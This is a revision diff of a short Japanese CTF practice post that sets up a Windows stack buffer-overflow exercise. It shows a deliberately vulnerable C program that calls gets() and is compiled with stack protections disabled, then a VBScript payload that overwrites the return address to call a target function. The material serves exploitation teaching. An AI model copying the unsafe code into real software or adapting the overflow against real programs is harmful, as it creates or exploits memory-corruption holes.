1. ohisama@github

    No comment

    ohisama@github
Changes in body
Source | HTML | Preview
@@ -1,81 +1,86 @@
#概要
pwnの練習問題、作って見た。
windowsで、やってみた。
#環境
windows vista 32bit
visual studio 2010
#練習問題
下記の、プログラムの脆弱性を突いて、ctf関数を実行せよ。
```
#include <stdio.h>
void ctf()
{
puts("You Cool!");
exit(0);
}
int main()
{
char buf[10];
gets(buf);
printf("%p\n", buf);
printf("%p\n", ctf);
return 0;
}
```
#コンパイル
```
cl ctf.c /GS- /link /nxcompat:no /dynamicbase:no
```
#動的解析
落ちる。
```
echo "AAAAAAAAAAA" | ctf
```
+#方針
+
+バッファオーバーフローでリターンアドレス書き換えて、CTF関数を実行させる。
+
+
#解答
```
Function hex2bin(HexText)
With CreateObject("Microsoft.XMLDOM").createElement("tmp")
.DataType = "bin.hex"
.Text = HexText
hex2bin = .NodeTypedValue
End With
End Function
Dim Hex
Dim Text
Hex = "41004100410041004100410041004100410041004100410041004100410041000000100040000000"
'Hex = "41004100410041004100410041004100410041004100"
Text = hex2bin(Hex)
WScript.StdOut.Write CStr(Text)
```
#実行
```
cscript //nologo hex2bin1.vbs | ctf
```
以上。